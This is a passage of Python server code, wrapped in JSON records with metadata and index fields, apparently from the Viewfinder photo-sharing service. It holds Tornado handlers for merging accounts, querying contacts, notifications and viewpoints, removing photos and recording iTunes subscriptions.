requests serialize on lock for user 0.\n device_id,\n 'BuildArchiveOperation.Execute',\n request)\n\n logging.info('BUILD ARCHIVE: user: %d, device: %d' % (user_id, device_id))\n\n raise gen.Return({})", "metadata": "root.BuildArchive", "header": "['module', '___EOS___']", "index": 126 }, { "content": "def GetCalendar(client, obj_store, user_id, device_id, request, callback):\n \"\"\"Queries calendar(s) for the user for the specified year.\"\"\"\n def _OnQueryUser(user):\n calendars = request['calendars']\n response = {'calendars': []}\n for cal in calendars:\n if cal['calendar_id'] == 'holidays':\n cal_data = Calendar.GetHolidaysByLocale(user.locale)\n else:\n cal_data = Calendar.GetCalendar(cal['calendar_id'])\n response['calendars'].append({'calendar_id': cal_data.calendar_id,\n 'year': cal['year'],\n 'events': cal_data.GetEvents(year=cal['year'])})\n logging.info('GET CALENDAR: user: %d, device: %d, %d calendars, event counts: %s' %\n (user_id, device_id,\n len(calendars), dict([(c['calendar_id'], len(c['events'])) \\\n for c in response['calendars']])))\n callback(response)\n\n # Query the user's locale.\n User.Query(client, user_id, None, _OnQueryUser)", "metadata": "root.GetCalendar", "header": "['module', '___EOS___']", "index": 145 }, { "content": "@gen.coroutine\ndef HidePhotos(client, obj_store, user_id, device_id, request):\n \"\"\"Hides photos from a user's personal library and inbox view. To be more precise, *posts*\n are marked as removed. This means that if a photo has been shared with a user multiple times,\n every instance of that photo (i.e. post) should be marked as hidden.\n \"\"\"\n request['user_id'] = user_id\n yield gen.Task(Operation.CreateAndExecute,\n client,\n user_id,\n device_id,\n 'HidePhotosOperation.Execute',\n request)\n\n num_photos = sum(len(ep_dict['photo_ids']) for ep_dict in request['episodes'])\n logging.info('HIDE PHOTOS: user: %d, device: %d, %d photos' %\n (user_id, device_id, num_photos))\n\n raise gen.Return({})", "metadata": "root.HidePhotos", "header": "['module', '___EOS___']", "index": 168 }, { "content": "@gen.coroutine\ndef ListIdentities(client, obj_store, user_id, device_id, request):\n \"\"\"Returns a list of identities linked to this account.\"\"\"\n def _MakeIdentityDict(ident):\n i_dict = {'identity': ident.key}\n if ident.authority is not None:\n i_dict['authority'] = ident.authority\n return i_dict\n\n query_expr = 'identity.user_id=%d' % user_id\n identities = yield gen.Task(Identity.IndexQuery, client, query_expr, ['key', 'authority'])\n\n raise gen.Return({'identities': [_MakeIdentityDict(ident) for ident in identities]})", "metadata": "root.ListIdentities", "header": "['module', '___EOS___']", "index": 189 }, { "content": "@gen.coroutine\ndef MergeAccounts(client, obj_store, user_id, device_id, request):\n \"\"\"Merges assets from the user account given in the request into the account of the current\n user.\n \"\"\"\n yield Activity.VerifyActivityId(client, user_id, device_id, request['activity']['activity_id'])\n\n source_user_cookie = request.pop('source_user_cookie', None)\n if source_user_cookie is not None:\n # Decode the cookie for the source account to merge.\n merge_cookie = web.decode_signed_value(secrets.GetSecret('cookie_secret'),\n base._USER_COOKIE_NAME,\n source_user_cookie,\n base._USER_COOKIE_EXPIRES_DAYS)\n if merge_cookie is None:\n raise web.HTTPError(403, 'The source_user_cookie value is not valid.')\n\n source_user_dict = json.loads(merge_cookie)\n source_user_id = source_user_dict['user_id']\n\n # Source user cookie must be confirmed in order to merge it.\n if not www_util.IsConfirmedCookie(source_user_dict.get('confirm_time', None)):\n raise PermissionError(MERGE_COOKIE_NOT_CONFIRMED, user_id=source_user_id)\n else:\n source_identity_dict = request.pop('source_identity', None)\n if source_identity_dict is None:\n raise InvalidRequestError(MISSING_MERGE_SOURCE)\n\n identity = yield Identity.VerifyConfirmedIdentity(client,\n source_identity_dict['identity'],\n source_identity_dict['access_token'])\n source_user_id = identity.user_id\n\n if source_user_id is not None:\n if source_user_id == user_id:\n raise web.HTTPError(400, 'Cannot merge a user account into itself.')\n\n source_user = yield gen.Task(User.Query, client, source_user_id, None)\n if source_user.IsTerminated():\n raise web.HTTPError(400, 'Cannot merge a terminated user account.')\n\n request['source_user_id'] = source_user_id\n request['target_user_id'] = user_id\n yield gen.Task(Operation.CreateAndExecute,\n client,\n user_id,\n device_id,\n 'MergeAccountsOperation.Execute',\n request)\n else:\n request.pop('activity')\n request['source_identity_key'] = identity.key\n request['target_user_id'] = user_id\n yield gen.Task(Operation.CreateAndExecute,\n client,\n user_id,\n device_id,\n 'LinkIdentityOperation.Execute',\n request)\n\n logging.info('MERGE ACCOUNTS: user: %d, device: %d, source: %s' %\n (user_id, device_id, source_user_id or identity.key))\n\n raise gen.Return({})", "metadata": "root.MergeAccounts", "header": "['module', '___EOS___']", "index": 204 }, { "content": "def NewClientLogUrl(client, obj_store, user_id, device_id, request, callback):\n \"\"\"Gets an S3 PUT URL for clients to write mobile device logs.\"\"\"\n kwargs = {'user_id': user_id,\n 'device_id': device_id,\n 'timestamp': request['timestamp'],\n 'client_log_id': request['client_log_id']}\n if 'content_type' in request:\n kwargs['content_type'] = request['content_type']\n if 'content_md5' in request:\n kwargs['content_md5'] = request['content_md5']\n if 'num_bytes' in request:\n kwargs['max_bytes'] = request['num_bytes']\n\n logging.info('GET NEW CLIENT LOG URL: user: %d, device: %d, client log id: %s' %\n (user_id, device_id, request['client_log_id']))\n response = {'client_log_put_url': ClientLog.GetPutUrl(**kwargs)}\n callback(response)", "metadata": "root.NewClientLogUrl", "header": "['module', '___EOS___']", "index": 270 }, { "content": "@gen.coroutine\ndef OldRemovePhotos(client, obj_store, user_id, device_id, request):\n \"\"\"Used by older clients to remove photos from showing in a user's personal library. Unlike\n the new remove_photos, photos can be removed from shared viewpoints as well as the default\n viewpoint. Photos are hidden in shared viewpoints, and removed from the default viewpoint.\n \"\"\"\n remove_episodes = []\n hide_episodes = []\n for ep_dict in request['episodes']:\n episode = yield gen.Task(Episode.Query, client, ep_dict['episode_id'], None, must_exist=False)\n if episode is None or episode.viewpoint_id == base.ViewfinderContext.current().user.private_vp_id:\n # Episodes from the user's default viewpoint should be removed.\n remove_episodes.append(ep_dict)\n else:\n # Episodes from other viewpoints should be hidden.\n hide_episodes.append(ep_dict)\n\n hide_request = deepcopy(request)\n if len(hide_episodes) > 0:\n hide_request['episodes'] = hide_episodes\n yield HidePhotos(client, obj_store, user_id, device_id, hide_request)\n\n remove_request = deepcopy(request)\n remove_request['episodes'] = remove_episodes\n yield RemovePhotos(client, obj_store, user_id, device_id, remove_request)\n\n raise gen.Return({})", "metadata": "root.OldRemovePhotos", "header": "['module', '___EOS___']", "index": 289 }, { "content": "@gen.coroutine\ndef PostComment(client, obj_store, user_id, device_id, request):\n \"\"\"Adds a new comment to an existing viewpoint.\"\"\"\n headers = request.pop('headers')\n activity = request.pop('activity')\n viewpoint_id = request['viewpoint_id']\n\n yield Activity.VerifyActivityId(client, user_id, device_id, activity['activity_id'])\n yield Comment.VerifyCommentId(client, user_id, device_id, request['comment_id'])\n\n request = {'headers': headers,\n 'user_id': user_id,\n 'activity': activity,\n 'comment': request}\n\n yield gen.Task(Operation.CreateAndExecute,\n client,\n user_id,\n device_id,\n 'PostCommentOperation.Execute',\n request)\n\n logging.info('POST COMMENT: user: %d, device: %d, viewpoint: %s' %\n (user_id, device_id, viewpoint_id))\n raise gen.Return({})", "metadata": "root.PostComment", "header": "['module', '___EOS___']", "index": 318 }, { "content": "@gen.coroutine\ndef QueryContacts(client, obj_store, user_id, device_id, request):\n \"\"\"Queries contacts for the current user.\n Note: This does not remove duplicate contact entries. This isn't practical because multiple\n contacts with the same contact_id may be present across multiple range query results. Multiple\n contacts with the same contact_id should be very uncommon, but are possible. Because older\n contact rows are returned first, the client may assume the last contact with the same contact_id\n is the correct one.\"\"\"\n def _MakeContactDict(contact):\n \"\"\"Makes a dict for JSON output from the contact.\"\"\"\n c_dict = {'contact_id': contact.contact_id,\n 'contact_source': contact.contact_source}\n util.SetIfNotNone(c_dict, 'name', contact.name)\n util.SetIfNotNone(c_dict, 'given_name', contact.given_name)\n util.SetIfNotNone(c_dict, 'family_name', contact.family_name)\n util.SetIfNotNone(c_dict, 'rank', contact.rank)\n if contact.labels is not None and len(contact.labels) > 0:\n c_dict['labels'] = list(contact.labels)\n identities_list = []\n if contact.identities_properties is not None:\n for identity_properties in contact.identities_properties:\n identity_key = identity_properties[0]\n identity_dict = {'identity': identity_key}\n util.SetIfNotNone(identity_dict, 'description', identity_properties[1])\n util.SetIfNotNone(identity_dict, 'user_id', identity_key_to_user_id_map[Identity.Canonicalize(identity_key)])\n identities_list.append(identity_dict)\n c_dict['identities'] = identities_list\n return c_dict\n\n start_key = request.get('start_key', None)\n limit = request.get('limit', None)\n\n contacts = yield gen.Task(Contact.RangeQuery,\n client,\n hash_key=user_id,\n range_desc=None,\n limit=limit,\n col_names=None,\n excl_start_key=start_key,\n scan_forward=True)\n\n # Get corresponding identities.\n identity_keys = list({identity for co in contacts for identity in co.identities})\n identity_dbkeys = [db_client.DBKey(identity_key, None) for identity_key in identity_keys]\n identities = yield gen.Task(Identity.BatchQuery, client, identity_dbkeys, None, must_exist=False)\n user_ids = [identity.user_id if identity is not None else None for identity in identities]\n identity_key_to_user_id_map = dict(zip(identity_keys, user_ids))\n\n # Formulates the contacts list into a dict for JSON output.\n response = {'num_contacts': len(contacts),\n 'contacts': [_MakeContactDict(co) for co in contacts]}\n if contacts:\n response['last_key'] = contacts[-1].sort_key\n\n logging.info('QUERY CONTACTS: user: %d, device: %d, %d contacts, start key %s, last key %s' %\n (user_id, device_id, response['num_contacts'], start_key, response.get('last_key', 'None')))\n\n raise gen.Return(response)", "metadata": "root.QueryContacts", "header": "['module', '___EOS___']", "index": 345 }, { "content": "@gen.engine\ndef QueryEpisodes(client, obj_store, user_id, device_id, request, callback):\n \"\"\"Queries posts from the specified episodes.\n \"\"\"\n def _MakePhotoDict(post, photo, user_post, user_photo):\n ph_dict = photo.MakeMetadataDict(post, user_post, user_photo)\n\n # Do not return access URLs for posts which have been removed.\n if not post.IsRemoved():\n _AddPhotoUrls(obj_store, ph_dict)\n\n return ph_dict\n\n limit = request.get('photo_limit', None)\n\n # Get all requested episodes, along with posts for each episode.\n episode_keys = [db_client.DBKey(ep_dict['episode_id'], None) for ep_dict in request['episodes']]\n\n post_tasks = []\n for ep_dict in request['episodes']:\n if ep_dict.get('get_photos', False):\n post_tasks.append(gen.Task(Post.RangeQuery, client, ep_dict['episode_id'], None, limit,\n None, excl_start_key=ep_dict.get('photo_start_key', None)))\n else:\n post_tasks.append(util.GenConstant(None))\n\n episodes, posts_list = yield [gen.Task(Episode.BatchQuery, client, episode_keys, None, must_exist=False),\n gen.Multi(post_tasks)]\n\n # Get viewpoint records for all viewpoints containing episodes.\n viewpoint_keys = [db_client.DBKey(viewpoint_id, None)\n for viewpoint_id in set(ep.viewpoint_id for ep in episodes if ep is not None)]\n\n # Get follower records for all viewpoints containing episodes, along with photo and user post objects.\n follower_keys = [db_client.DBKey(user_id, db_key.hash_key) for db_key in viewpoint_keys]\n\n all_posts = [post for posts in posts_list if posts is not None for post in posts]\n photo_keys = [db_client.DBKey(post.photo_id, None) for post in all_posts]\n user_post_keys = [db_client.DBKey(user_id, Post.ConstructPostId(post.episode_id, post.photo_id))\n for post in all_posts]\n if user_id:\n # TODO(ben): we can probably skip this for the web view\n user_photo_task = gen.Task(UserPhoto.BatchQuery, client,\n [db_client.DBKey(user_id, post.photo_id) for post in all_posts],\n None, must_exist=False)\n else:\n user_photo_task = util.GenConstant(None)\n\n viewpoints, followers, photos, user_posts, user_photos = yield [\n gen.Task(Viewpoint.BatchQuery, client, viewpoint_keys, None, must_exist=False),\n gen.Task(Follower.BatchQuery, client, follower_keys, None, must_exist=False),\n gen.Task(Photo.BatchQuery, client, photo_keys, None),\n gen.Task(UserPost.BatchQuery, client, user_post_keys, None, must_exist=False),\n user_photo_task,\n ]\n\n # Get set of viewpoint ids to which the current user has access.\n viewable_viewpoint_ids = set(viewpoint.viewpoint_id for viewpoint, follower in zip(viewpoints, followers)\n if _CanViewViewpointContent(viewpoint, follower))\n\n response_dict = {'episodes': []}\n num_photos = 0\n\n for ep_dict, episode, posts in zip(request['episodes'], episodes, posts_list):\n # Gather list of (post, photo, user_post) tuples for this episode.\n photo_info_list = []\n if ep_dict.get('get_photos', False):\n for post in posts:\n photo = photos.pop(0)\n user_post = user_posts.pop(0)\n user_photo = user_photos.pop(0) if user_photos is not None else None\n assert photo.photo_id == post.photo_id, (episode, post, photo)\n if user_photo:\n assert user_photo.photo_id == photo.photo_id\n assert user_photo.user_id == user_id\n photo_info_list.append((post, photo, user_post, user_photo))\n\n if episode is not None and episode.viewpoint_id in viewable_viewpoint_ids:\n response_ep_dict = {'episode_id': ep_dict['episode_id']}\n\n # Only return episode metadata if \"get_attributes\" is True.\n if ep_dict.get('get_attributes', False):\n response_ep_dict.update(episode._asdict())\n\n # Only return photos if \"get_photos\" is True.\n if ep_dict.get('get_photos', False):\n response_ep_dict['photos'] = [_MakePhotoDict(photo, post, user_post, user_photo)\n for photo, post, user_post, user_photo in photo_info_list]\n if len(photo_info_list) > 0:\n response_ep_dict['last_key'] = photo_info_list[-1][0].photo_id\n num_photos += len(photo_info_list)\n\n response_dict['episodes'].append(response_ep_dict)\n\n logging.info('QUERY EPISODES: user: %d, device: %d, %d episodes, %d photos' %\n (user_id, device_id, len(response_dict['episodes']), num_photos))\n\n callback(response_dict)", "metadata": "root.QueryEpisodes", "header": "['module', '___EOS___']", "index": 405 }, { "content": "@gen.coroutine\ndef QueryFollowed(client, obj_store, user_id, device_id, request):\n \"\"\"Queries all viewpoints followed by the current user. Supports a limit and a start key\n for pagination.\n \"\"\"\n start_key = request.get('start_key', None)\n limit = request.get('limit', None)\n\n followed = yield gen.Task(Followed.RangeQuery,\n client,\n hash_key=user_id,\n range_desc=None,\n limit=limit,\n col_names=['viewpoint_id'],\n excl_start_key=start_key)\n\n # Get the viewpoint associated with each follower object.\n last_key = followed[-1].sort_key if len(followed) > 0 else None\n\n viewpoint_keys = [db_client.DBKey(f.viewpoint_id, None) for f in followed]\n follower_keys = [db_client.DBKey(user_id, f.viewpoint_id) for f in followed]\n viewpoints, followers = yield [gen.Task(Viewpoint.BatchQuery, client, viewpoint_keys, None, must_exist=False),\n gen.Task(Follower.BatchQuery, client, follower_keys, None, must_exist=False)]\n\n # Formulate the viewpoints list into a dict for JSON output.\n # NOTE: If we ever add content to the viewpoint data being returned here, filtering out that content\n # if the requester doesn't have view access to it should be considered.\n response = {'viewpoints': [_MakeViewpointMetadataDict(v, f, obj_store)\n for v, f in zip(viewpoints, followers)\n if v is not None]}\n util.SetIfNotNone(response, 'last_key', last_key)\n\n logging.info('QUERY FOLLOWED: user: %d, device: %d, %d viewpoints, start key %s, last key %s' %\n (user_id, device_id, len(response['viewpoints']), start_key,\n response.get('last_key', 'None')))\n\n raise gen.Return(response)", "metadata": "root.QueryFollowed", "header": "['module', '___EOS___']", "index": 505 }, { "content": "@gen.coroutine\ndef QueryNotifications(client, obj_store, user_id, device_id, request):\n \"\"\"Queries a list of pending notifications for a user since the last\n request.\n \"\"\"\n # Clients are not allowed to request long polling for more than this duration.\n MAX_LONG_POLL = 300\n # Within our fake long polling, poll the database this often.\n LONG_POLL_INTERVAL = 5\n\n start_key = int(request.get('start_key')) if 'start_key' in request else None\n limit = request.get('limit', None)\n scan_forward = request.get('scan_forward', True)\n max_long_poll = min(int(request.get('max_long_poll', 0)),\n MAX_LONG_POLL)\n if max_long_poll > 0:\n deadline = IOLoop.current().time() + max_long_poll\n else:\n deadline = None\n\n while True:\n notifications = yield NotificationManager.QuerySince(client,\n user_id,\n device_id,\n start_key,\n limit=limit,\n scan_forward=scan_forward)\n if len(notifications) > 0 or deadline is None:\n break\n\n now = IOLoop.current().time()\n next_try = now + LONG_POLL_INTERVAL\n if next_try >= deadline:\n # No point in scheduling a query after we expect our client to go away.\n break\n\n vf_context = base.ViewfinderContext.current()\n assert vf_context.connection_close_event is not None\n try:\n yield vf_context.connection_close_event.wait(next_try)\n except toro.Timeout:\n # The close event timed out, meaning the client is still connected\n # and it's time to try again.\n pass\n else:\n # The close event triggered without timing out, so give up.\n assert vf_context.connection_close_event.is_set()\n break\n\n # At this point we either have non-empty results, the client is not\n # in long-polling mode, the long-polling deadline has expired, or\n # the client has disconnected. We could short-circuit in the latter\n # case, but it doesn't hurt to go ahead and generate the empty\n # result.\n\n # Get any activities that are associated with the notifications in a single batch query.\n activity_keys = [db_client.DBKey(n.viewpoint_id, n.activity_id)\n for n in notifications\n if n.activity_id is not None]\n activities = yield gen.Task(Activity.BatchQuery, client, activity_keys, None)\n\n response = {'notifications': []}\n if len(notifications) > 0:\n response['last_key'] = www_util.FormatIntegralLastKey(notifications[-1].notification_id)\n\n for notification in notifications:\n notification_dict = {'notification_id': notification.notification_id,\n 'name': notification.name,\n 'sender_id': notification.sender_id,\n 'timestamp': notification.timestamp}\n\n util.SetIfNotNone(notification_dict, 'op_id', notification.op_id)\n\n invalidate = notification.GetInvalidate()\n util.SetIfNotNone(notification_dict, 'invalidate', invalidate)\n\n # If the operation modified a viewpoint's update_seq or viewed_seq values, in-line them.\n if notification.update_seq is not None or notification.viewed_seq is not None:\n vp_dict = notification_dict.setdefault('inline', {}).setdefault('viewpoint', {})\n vp_dict['viewpoint_id'] = notification.viewpoint_id\n if notification.update_seq is not None:\n vp_dict['update_seq'] = notification.update_seq\n if notification.viewed_seq is not None:\n vp_dict['viewed_seq'] = notification.viewed_seq\n\n # If the operation added an activity, in-line it.\n if notification.activity_id is not None:\n activity = activities.pop(0)\n\n # Project all activity columns, but nest the json column underneath a key called activity.name.\n activity_dict = activity.MakeMetadataDict()\n notification_dict.setdefault('inline', {})['activity'] = activity_dict\n\n # If this was a post_comment notification, in-line the comment metadata if no invalidation exists.\n # NOTE: If/when we allow unfollowing viewpoints, permissions would have to be checked to ensure that\n # the calling user is still a follower of the viewpoint containing the comment.\n if activity.name == 'post_comment' and notification.invalidate is None:\n comment_id = activity_dict['post_comment']['comment_id']\n comment = yield gen.Task(Comment.Query, client, notification.viewpoint_id, comment_id, col_names=None)\n notification_dict['inline']['comment'] = comment._asdict()\n\n response['notifications'].append(notification_dict)\n\n if len(response['notifications']) > 0:\n # Query usage data and inline it into the last notification in the response.\n def _AccountingAsDict(act):\n if act is None:\n return None\n act_dict = act._asdict()\n act_dict.pop('hash_key', None)\n act_dict.pop('sort_key', None)\n act_dict.pop('op_ids', None)\n return act_dict\n\n owned, shared, visible = yield gen.Task(Accounting.QueryUserAccounting, client, user_id)\n usage_dict = {}\n util.SetIfNotNone(usage_dict, 'owned_by', _AccountingAsDict(owned))\n util.SetIfNotNone(usage_dict, 'shared_by', _AccountingAsDict(shared))\n util.SetIfNotNone(usage_dict, 'visible_to', _AccountingAsDict(visible))\n if len(usage_dict.keys()) > 0:\n # This notification may not have an inline field.\n last_notification = response['notifications'][-1]\n last_notification.setdefault('inline', {})['user'] = { 'usage': usage_dict }\n\n num_uploads = len([a for a in activities if a is not None and a.name == 'upload_episode'])\n num_shares = len([a for a in activities if a is not None and a.name in ['share_existing', 'share_new']])\n num_unshares = len([a for a in activities if a is not None and a.name == 'unshare'])\n num_comment_posts = len([a for a in activities if a is not None and a.name == 'post_comment'])\n logging.info('QUERY NOTIFICATIONS: user: %d, device: %d, start_key: %r, count: %d, '\n '%d uploads, %d shares, %d unshares, %d comment posts' %\n (user_id, device_id, start_key, len(notifications), num_uploads, num_shares,\n num_unshares, num_comment_posts))\n\n # Disable notification responses for older clients.\n if request['headers']['original_version'] < Message.UPDATE_SHARE_VERSION:\n raise gen.Return({'notifications': []})\n else:\n raise gen.Return(response)", "metadata": "root.QueryNotifications", "header": "['module', '___EOS___']", "index": 543 }, { "content": "@gen.coroutine\ndef QueryUsers(client, obj_store, user_id, device_id, request):\n \"\"\"Queries users by user id, filtering by friendships.\"\"\"\n user_friend_list = yield gen.Task(User.QueryUsers, client, user_id, request['user_ids'])\n user_dicts = yield [gen.Task(user.MakeUserMetadataDict, client, user_id, forward_friend, reverse_friend)\n for user, forward_friend, reverse_friend in user_friend_list]\n\n response = {'users': user_dicts}\n logging.info('QUERY USERS: user: %d, device: %d, %d users' %\n (user_id, device_id, len(user_dicts)))\n raise gen.Return(response)", "metadata": "root.QueryUsers", "header": "['module', '___EOS___']", "index": 683 }, { "content": "@gen.coroutine\ndef QueryViewpoints(client, obj_store, user_id, device_id, request):\n \"\"\"Queries viewpoint metadata, as well as associated followers and episodes.\n \"\"\"\n @gen.coroutine\n def _QueryFollowers():\n \"\"\"Produces list of (followers, last_key) tuples, one for each viewpoint in the request.\"\"\"\n tasks = []\n for vp_dict in request['viewpoints']:\n if vp_dict.get('get_followers', False):\n start_key = vp_dict.get('follower_start_key', None)\n tasks.append(Viewpoint.QueryFollowers(client,\n vp_dict['viewpoint_id'],\n excl_start_key=int(start_key) if start_key is not None else None,\n limit=limit))\n else:\n tasks.append(util.GenConstant(None))\n\n follower_results = yield tasks\n raise gen.Return(follower_results)\n\n @gen.coroutine\n def _QueryActivities():\n \"\"\"Produces list of (activities, last_key) tuples, one for each viewpoint in the request.\"\"\"\n tasks = []\n for vp_dict in request['viewpoints']:\n if vp_dict.get('get_activities', False):\n tasks.append(gen.Task(Viewpoint.QueryActivities, client, vp_dict['viewpoint_id'],\n excl_start_key=vp_dict.get('activity_start_key', None),\n limit=limit))\n else:\n tasks.append(util.GenConstant(None))\n\n activity_results = yield tasks\n raise gen.Return(activity_results)\n\n @gen.coroutine\n def _QueryEpisodes():\n \"\"\"Produces list of (episodes, last_key) tuples, one for each viewpoint in the request.\"\"\"\n tasks = []\n for vp_dict in request['viewpoints']:\n if vp_dict.get('get_episodes', False):\n tasks.append(gen.Task(Viewpoint.QueryEpisodes, client, vp_dict['viewpoint_id'],\n excl_start_key=vp_dict.get('episode_start_key', None),\n limit=limit))\n else:\n tasks.append(util.GenConstant(None))\n\n episode_results = yield tasks\n raise gen.Return(episode_results)\n\n @gen.coroutine\n def _QueryComments():\n \"\"\"Produces list of (comments, last_key) tuples, one for each viewpoint in the request.\"\"\"\n tasks = []\n for vp_dict in request['viewpoints']:\n if vp_dict.get('get_comments', False):\n tasks.append(gen.Task(Viewpoint.QueryComments, client, vp_dict['viewpoint_id'],\n excl_start_key=vp_dict.get('comment_start_key', None),\n limit=limit))\n else:\n tasks.append(util.GenConstant(None))\n\n comment_results = yield tasks\n raise gen.Return(comment_results)\n\n limit = request.get('limit', None)\n viewpoint_keys = [db_client.DBKey(vp_dict['viewpoint_id'], None) for vp_dict in request['viewpoints']]\n follower_keys = [db_client.DBKey(user_id, vp_dict['viewpoint_id']) for vp_dict in request['viewpoints']]\n\n results = yield [gen.Task(Viewpoint.BatchQuery, client, viewpoint_keys, None, must_exist=False),\n gen.Task(Follower.BatchQuery, client, follower_keys, None, must_exist=False),\n _QueryFollowers(),\n _QueryActivities(),\n _QueryEpisodes(),\n _QueryComments()]\n\n viewpoints, followers, follower_id_results, activity_results, episode_results, comment_results = results\n zip_list = zip(request['viewpoints'], viewpoints, followers, follower_id_results, activity_results,\n episode_results, comment_results)\n\n num_followers = 0\n num_activities = 0\n num_episodes = 0\n num_comments = 0\n response_vp_dicts = []\n for vp_dict, viewpoint, follower, follower_result, activity_result, episode_result, comment_result in zip_list:\n # Only return the viewpoint metadata if the caller is a follower of the viewpoint.\n if follower is not None:\n response_vp_dict = {'viewpoint_id': viewpoint.viewpoint_id}\n\n # Only return viewpoint metadata if \"get_attributes\" is True.\n if vp_dict.get('get_attributes', False):\n response_vp_dict.update(_MakeViewpointMetadataDict(viewpoint, follower, obj_store))\n\n # Only return followers if the follower is not removed and \"get_followers\" is True.\n if not follower.IsRemoved() and vp_dict.get('get_followers', False):\n followers, last_key = follower_result\n response_vp_dict['followers'] = [foll.MakeFriendMetadataDict() for foll in followers]\n if last_key is not None:\n response_vp_dict['follower_last_key'] = www_util.FormatIntegralLastKey(last_key)\n num_followers += len(followers)\n\n # Only return content about viewpoint if follower is allowed to view it.\n if _CanViewViewpointContent(viewpoint, follower):\n # Only return activities if \"get_activities\" is True.\n if vp_dict.get('get_activities', False):\n activities, last_key = activity_result\n response_vp_dict['activities'] = [act.MakeMetadataDict() for act in activities]\n if last_key is not None:\n response_vp_dict['activity_last_key'] = last_key\n num_activities += len(activities)\n\n # Only return episodes if \"get_episodes\" is True.\n if vp_dict.get('get_episodes', False):\n episodes, last_key = episode_result\n response_vp_dict['episodes'] = [ep._asdict() for ep in episodes]\n if last_key is not None:\n response_vp_dict['episode_last_key'] = last_key\n num_episodes += len(episodes)\n\n # Only return comments if \"get_comments\" is True.\n if vp_dict.get('get_comments', False):\n comments, last_key = comment_result\n response_vp_dict['comments'] = [co._asdict() for co in comments]\n if last_key is not None:\n response_vp_dict['comment_last_key'] = last_key\n num_comments += len(comments)\n\n response_vp_dicts.append(response_vp_dict)\n\n logging.info('QUERY VIEWPOINTS: user: %d, device: %d, %d viewpoints, %d followers, '\n '%d activities, %d episodes, %d comments' %\n (user_id, device_id, len(response_vp_dicts), num_followers,\n num_activities, num_episodes, num_comments))\n\n raise gen.Return({'viewpoints': response_vp_dicts})", "metadata": "root.QueryViewpoints", "header": "['module', '___EOS___']", "index": 696 }, { "content": "def RecordSubscription(client, obj_store, user_id, device_id, request, callback):\n \"\"\"Records an external subscription.\"\"\"\n def _OnRecord(verify_response, op):\n callback({'subscription': Subscription.CreateFromITunes(user_id, verify_response).MakeMetadataDict()})\n\n def _OnVerify(environment, verify_response):\n if (environment == 'prod' and\n verify_response.GetStatus() == VerifyResponse.SANDBOX_ON_PROD_ERROR):\n ITunesStoreClient.Instance('dev').VerifyReceipt(receipt_data, partial(_OnVerify, 'dev'))\n return\n\n if not verify_response.IsValid():\n logging.warning('record_subscription: invalid signature; request: %r', request)\n raise web.HTTPError(400, 'invalid receipt signature')\n\n if environment == 'prod':\n op_request = {\n 'headers': request['headers'],\n 'user_id': user_id,\n 'verify_response_str': verify_response.ToString(),\n }\n Operation.CreateAndExecute(client, user_id, device_id,\n 'Subscription.RecordITunesTransactionOperation',\n op_request, partial(_OnRecord, verify_response))\n else:\n # Accept sandbox receipts, but do not record them. This is required\n # for app store approval (reviewers will attempt to subscribe with\n # sandbox accounts and we must not return an error).\n callback({'subscription': Subscription.CreateFromITunes(user_id, verify_response).MakeMetadataDict()})\n\n receipt_data = base64.b64decode(request['receipt_data'])\n\n # We must support both prod and sandbox itunes instances: Even release\n # builds will use the sandbox when the app is under review. There is no\n # (supported) way for an app to know whether a receipt is from a prod\n # or sandbox purchase until we attempt to verify the signature. Apple\n # recommends always trying prod first, and falling back to sandbox\n # upon receiving an appropriate error code.\n # https://developer.apple.com/library/ios/#technotes/tn2259/_index.html#//apple_ref/doc/uid/DTS40009578-CH1-FREQUENTLY_ASKED_QUESTIONS\n ITunesStoreClient.Instance('prod').VerifyReceipt(receipt_data, partial(_OnVerify, 'prod'))", "metadata": "root.RecordSubscription", "header": "['module', '___EOS___']", "index": 835 }, { "content": "@gen.coroutine\ndef RemoveContacts(client, obj_store, user_id, device_id, request):\n \"\"\"Remove contacts.\"\"\"\n request['user_id'] = user_id\n yield gen.Task(Operation.CreateAndExecute,\n client,\n user_id,\n device_id,\n 'RemoveContactsOperation.Execute',\n request)\n\n logging.info('REMOVE CONTACTS: user: %d, device: %d, contact_count: %d' %\n (user_id, device_id, len(request['contacts'])))\n raise gen.Return({})", "metadata": "root.RemoveContacts", "header": "['module', '___EOS___']", "index": 877 }, { "content": "@gen.coroutine\ndef RemoveFollowers(client, obj_store, user_id, device_id, request):\n \"\"\"Remove followers of an existing viewpoint.\"\"\"\n request['user_id'] = user_id\n yield Activity.VerifyActivityId(client, user_id, device_id, request['activity']['activity_id'])\n\n yield gen.Task(Operation.CreateAndExecute,\n client,\n user_id,\n device_id,\n 'RemoveFollowersOperation.Execute',\n request)\n\n logging.info('REMOVE FOLLOWERS: user: %d, device: %d, %d followers' %\n (user_id, device_id, len(request['remove_ids'])))\n\n raise gen.Return({})", "metadata": "root.RemoveFollowers", "header": "['module', '___EOS___']", "index": 893 }, { "content": "@gen.coroutine\ndef RemovePhotos(client, obj_store, user_id, device_id, request):\n \"\"\"Removes photos from a user's personal library. To be more precise, *posts* are marked as\n removed. This means that if a photo has been uploaded or saved to the library multiple times,\n every instance of that photo (i.e. post) should be marked as removed.\n \"\"\"\n request['user_id'] = user_id\n yield gen.Task(Operation.CreateAndExecute,\n client,\n user_id,\n device_id,\n 'RemovePhotosOperation.Execute',\n request)\n\n num_photos = sum(len(ep_dict['photo_ids']) for ep_dict in request['episodes'])\n logging.info('REMOVE PHOTOS: user: %d, device: %d, %d photos' %\n (user_id, device_id, num_photos))\n\n raise gen.Return({})", "metadata": "root.RemovePhotos", "header": "['module', '___EOS___']", "index": 912 }, { "content": "@gen.coroutine\ndef RemoveViewpoint(client, obj_store, user_id, device_id, request):\n \"\"\"Remove a viewpoint from a user's inbox.\"\"\"\n\n request['user_id'] = user_id\n viewpoint_id = request['viewpoint_id']\n\n # Check that the user isn't trying to remove their default viewpoint. We do it here\n # because it saves us a query for user during the operation and the default viewpoint id\n # can't change.\n if base.ViewfinderContext.current().user.private_vp_id == viewpoint_id:\n raise PermissionError('User is not allowed to remove their default viewpoint: %s' % viewpoint_id)\n\n yield gen.Task(Operation.CreateAndExecute, client, user_id, device_id, 'RemoveViewpointOperation.Execute', request)\n\n logging.info('REMOVE VIEWPOINT: user: %d, device: %d, viewpoint: %s' % (user_id, device_id, viewpoint_id))\n\n raise gen.Return({})", "metadata": "root.RemoveViewpoint", "header": "['module', '___EOS___']", "index": 933 }, { "content": "@gen.coroutine\ndef ResolveContacts(client, obj_store, user_id, device_id, request):\n \"\"\"Resolves contact identities to user ids.\"\"\"\n ident_tasks = []\n for ident in request['identities']:\n # Validate identity key.\n Identity.ValidateKey(ident)\n\n if 